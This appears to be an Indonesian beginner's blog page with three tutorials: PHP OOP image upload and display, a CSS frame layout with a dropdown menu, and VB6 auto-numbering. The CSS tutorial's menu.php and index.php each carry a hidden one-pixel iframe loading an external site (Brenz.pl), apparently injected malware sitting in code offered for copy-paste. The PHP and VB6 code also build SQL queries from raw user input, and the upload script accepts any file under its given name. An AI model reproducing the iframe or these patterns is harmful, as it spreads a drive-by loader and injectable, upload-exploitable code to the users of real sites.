Insert , simpan dan tampilkan gambar dengan konsep OOP PHP

Sesuai judul yaitu penggunaan konsep OOP dalam PHP, teknik input dan tampil data gambar.

Kenapa OOP? Karena procedural sudah terlalu mainstream.. Hehe.. 

Baik, langsung ke intinya saja, karena saya tidak akan menjelaskan panjang lebar tentang apa itu OOP.

Saya anggap anda sudah belajar dasar-dasar php ketika membaca tulisan ini, karena jika belum pernah belajar dasar-dasar PHP anda akan mengalami kesulitan.

Saya yang newbi ini hanya ingin berbagi saja, mohon maaf atas keterbatasannya…

Langsung saja:

Buat koneksinya dan simpan dengan nama class.php!

<?php

class database{

          //properti

        private $dbhost="localhost";

        private $dbuser="root";

        private $dbpass="";

        private $dbname="gambar1";

        //method koneksi MYSQL

        function connectMYSQL(){

        mysql_connect($this->dbhost, $this->dbuser, $this->dbpass);

        mysql_select_db($this->dbname) or die ("Database tidak ada!");

        }

    }

class gambar{

        //simpan data

        function simpan($nama, $keterangan, $gambar ){

            $query = "INSERT INTO foto (nama, keterangan, filename)

                  VALUES ('$nama', '$keterangan', '$gambar')";

        $hasil = mysql_query($query);

        }

                                //method tampilkan

                                function tampilgambar(){

                                                $query=mysql_query("select * from foto order by id");

                                                 while($row=mysql_fetch_array($query))

                                                                $data[]=$row;

                                                return $data;

                                }

                               

}

 ?>

Selanjutnya,

Buat form untuk upload gambarnya! Simpan dengan nama index.php saja biar muncul di awal start…

<table border="2" bordercolorlight="#33FF66">

<form method="post" action="simpan_foto.php" enctype="multipart/form-data">

<tr><td>nama foto </td><td> <input type="text" name="nama" /></td></tr>

<tr><td valign="top">keterangan </td><td><textarea name="keterangan"> </textarea></td></tr>

<tr><td>masukan gambar </td><td><input type="file" name="gambar" /> </td></tr>

<tr><td colspan="2"><input type="submit" value="simpan gambar " /></td></tr>

</form>

</table>

Selanjutnya,

Buat perintah simpan data!

<?php

//memanggil file koneksi

include_once'include/class.php';

 //instance objek

$gam=new gambar();

$db=new database();

//koneksi ke MYSQL via method

$db->connectMYSQL();

$filename=$_FILES['gambar']['name'];

$move=move_uploaded_file($_FILES['gambar']['tmp_name'],'foto/'.$filename);

//simpan data ke database

$gam->simpan($_POST['nama'], $_POST['keterangan'], $filename);

echo "<script>alert ('data telah di simpan '); document.location='tampil.php' </script> ";

?>

Selanjutnya,

Buat perintah untuk menampilkan..! Simpan dengan nama tampil.php atau nama yang anda inginkan, terserah, karena tidak ada aturan baku disini..

<?php

error_reporting(0);

include_once 'include/class.php';

//instance objek

                $db= new database();

                $gam= new gambar();

//koneksi ke mysql

                $db->connectmysql();

                $arraygambar=$gam->tampilgambar();

echo "<center><table border=1>

<tr><td>NAMA FOTO </td><td>KETERANGAN </td><td>GAMBAR </td></tr> ";

$i=1;

foreach($arraygambar as $data){

echo "<tr><td>".$data['nama']."</td>

          <td width=200>".$data[keterangan]." </td>

                                  <td><img src='foto/$data[filename]' width=70 height=50 ></td>

                                  </tr> ";

$i++;

}

echo "</table>

<a href=upload_foto.php>Input Foto Lagi </a>

</center>";

?>

Selanjutnya,

Jalankan!

Lalu inputkan datanya dan simpan, akan tampil seperti ini:

Baiklah, semoga tutorial tersebut bisa membantu agan/aganwati yang mampir ke blog saya dan menyempatkan diri membaca coretan seorang newbi seperti saya ini..

Anda bisa mengembangkannya sendiri sesuai imajinasi  anda..

Semoga berguna dan membantu..

Membuat frame dengan sentuhan css

Baiklah sahabat blogger dimana pun anda berada, pagi ini cukup cerah ya..? Hehehe
Kebetulan akhir-akhir ini saya mengisi hari-hari saya dengan belajar php, saya berniat untuk mendalami bahasa pemrograman web. Nah, membuat web tentu kurang lengkap rasanya jika tanpa frame. Yap, saya tidak sedang ingin berbagi coding php(teknik CRUD), tapi saya yang newbi ini sedang mau berbagi tentang teknik frame dengan css hasil racikan saya sendiri, hehehe.. Lebih tepatnya inovasi.
Banyak yang bertanya tentang cara membuat frame yang tidak monoton, tapi banyak yang tidak mau menjawab, sebenarnya bukan tidak mau menjawab, tapi itulah programer, seorang programer dalam mendapatkan tekniknya selalu melakukan uji coba berulang-ulang tanpa mengenal lelah dan menghabiskan waktu dan tenaga serta berpikir terus menerus. Seorang programer itu harus berpikir seperti Thomas alfa edison, 9000 kali gagal mencoba belum  bisa disebut gagal jika dia masih mau mencoba.
Jika kamu bertanya pada programer, ibarat kamu ingin pergi ke Jakarta dari Solo dengan tujuan Monas, maka sang programer hanya akan menyarankan kamu pergi ke stasiun kereta atau Bus atau Bandara, selanjutnya adalah perjuangan anda.. Disitulah letaknya, amazing..Nice..
Oke, itu hanya pembukaan saja. Langsung ke codingnya saja ya...: Bagi yang tidak mau repot berpikir dan suka dengan mie instan, halah... hehe. Instan maksudnya(ciri khas orang non teknik). Satu pesan saya "jangan pernah mengakui ide orang lain sebagai idemu". Hak kekayaan intelektual itu.. hehe
Baiklah...,
Saya menggunakan xampp sebagai perantaranya, ada 3 file yang saya simpan di sebuah folder di htdocs yaitu index.php, menu.php dan style.css yang saya buatkan folder sendiri dengan nama css.
Dan ini nanti anda sudah tidak perlu repot-repot mikir resolusi, karena sudah teruji di 3 resolusi dan memungkinkan berjalan di resolusi yang lain. 3 resolusi yang sudah saya uji tanpa scroling layar adalah:
800 x 600
1024 x 768
1152 x 864

Langsung saja:
style.css:
{
        padding: 0;margin: 0;
    }
    html, body{
        height: 100%;
    }
    .header{
        height: 18%;
        width:100%;
        background: red;
    }
    #pembatas_h{
        height: 1%;
        width: 100%;
        margin: 0;
        padding: 0;
    }
    .menu{
        height: 10%;
        width: 100%;
        margin: 0;
        padding: 0;
    }
    #pembatasm{
        height: 1%;
        width: 100%;
        margin: 0;
        padding: 0;
    }
    .main{
        height: 60%;
        width: 100%;
        margin: 0;
        padding: 0;
    }
        .main .kiri{
            width: 24%;
            height: 90%;
            float: left;
            background: #ADD8E6;
        }
        .main .pembatas{
            width: 1%;
            height: 90%;
            float: left;
        }
        .main .tengah{
            width: 50%;
            height: 90%;
            float: left;
            background: #FDF5E6;
        }
        .main .pembatast{
            width: 1%;
            height: 90%;
            float: left;
        }
        .main .kanan{
            width: 24%;
            height: 90%;
            float: right;
            background: #ADD8E6;
        }
        .footer{
            height: 10%;
            background: #8FBC8F;
            clear: both;
        }
    /* menu */
     #navigation {
                background-color : black;
                width : 100%;
                height : 80%;
                border-bottom : 1px solid #ccc;
            }
           
            #navigation ul {
                padding:0;
                margin:0;
                list-style-type:none;
            }
           
            #navigation ul li {
                float:left;
                position : relative;
            }
           
            #navigation ul li a {
                display:block;
                padding:10px 20px;
                color:#fff;
                text-decoration:none;
                font-family: calibri;
            }
           
            #navigation ul li a:hover {
                background-color:#72b626;
            }
           
            /* Menu Dropdown */
           
            #navigation ul li ul {
                display: none;
            }
           
            #navigation ul li:hover ul {
                display:block;
                position: absolute;
            }
           
            #navigation ul li:hover ul li a {
                display:block;
                background-color : black;
                color : #fff;
                width : 150px;
                border-bottom : 1px solid #ccc;
            }
           
            #navigation ul li:hover ul li a:hover {
                background-color : #72b626;
            }
           
            #navigation ul li:hover > a {background: #72b626;} 
menu.php
 <html>
    <head>
        <title>Simple Dropdown Menu</title>
     <link href="css/style.css" rel="stylesheet" type="text/css">      
    </head>
    <body>
    <div id="navigation">
        <ul id="nav">
            <li><a href="#">Home</a></li>
            <li><a href="#">Profil</a>
                <ul>
                    <li><a href="#">Tentang Kami</a></li>
                    <li><a href="#">Visi dan Misi</a></li>
                </ul>
            </li>
            <li><a href="#">Service</a>
                <ul>
                    <li><a href="#">Software Development</a></li>
                    <li><a href="#">Web Development</a></li>
                    <li><a href="#">Interior Design</a></li>
                    <li><a href="#">Multimedia Interactive</a></li>
                </ul>
            </li>
            <li><a href="#">Portfolio</a></li>
            <li><a href="#">Kontak Kami</a></li>
        </ul>
    </div>
    <iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
    </html>
index.php
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Titel websiteku</title>
<link href="css/style.css" rel="stylesheet" type="text/css">
</head>
<body >
<div class="header"></div>
<div id="pembatas_h"></div>
<div class="menu"><?php include "menu.php";?></div>
<div id="pembatasm"></div>
<div class="main">
<div class="kiri"></div>
<div class="pembatas"></div>
<div class="tengah"></div>
<div class="pembatast"></div>
<div class="kanan"></div>
</div>
<div class="footer"></div>
<iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
</body>
</html>

Dan hasilnya:

Selamat copy paste dan anda bisa memodifikasinya sendiri tanpa kesusahan. Dalam sesi Orang pinggiran sedang berbagi...

Membuat penomoran otomatis dengan visual basic 6.0

Selamat malam sobat Bloger,  semoga dalam keadaan baik dan  selalu dalam perlindungannya.

Baiklah, langsung ke intinya saja.  Kali ini saya akan berbagi tentang cara membuat penomoran otomatis  menggunakan vb 6.0, penomoran ini bisa anda terapkan untuk membuat kode barang, kode supplier dan lain-lain, terserah imajinasi anda.. Hehe

Oke, ini:

Pertama buat dulu form,  terserah anda, tapi dalam contoh ini saya buat ini:

Selanjutnya buka view code dan tulis ini:

Option Explicit

Dim panjang As Integer

Sub no()

Call buka

sql = "select * from anggota"

rs.Open sql, konek, adOpenDynamic, adLockBatchOptimistic

With rs

txtno.Text = ""

If .EOF = False Then

.MoveFirst

Do While Not .EOF

txtno.Text = .Fields("no")

.MoveNext

Loop

txtno.Text = "A-" & Val(txtno.Text) + 1 & ""

Else

txtno.Text = "A-1"

End If

End With

End Sub

Private Sub csave_Click()

Call buka

panjang = Len(txtno.Text) - 2

sql = "insert into anggota values('" & Mid(txtno.Text, 3, panjang) & "','" & _

txtnama.Text & "','" & txtalamat.Text & "')"

konek.Execute (sql)

Form_Load

End Sub

Private Sub Form_Load()

Call no

End Sub

Selanjutnya kembali ke form atau langsung klik run, dan ini hasilnya:

Lalu, saya coba kasih input seperti ini:

Dan saya simpan, dan next

Coba dilihat dengan seksama, A-1 berubah menjadi  A-2 , begitu seterusnya jika anda menyimpan data baru, nomor akan bertambah dengan sendirinya  dan selanjutnya anda bisa memasukkan data baru  dan selanjutnya terserah anda.., hehe.

Selamat malam,  semoga bisa berguna…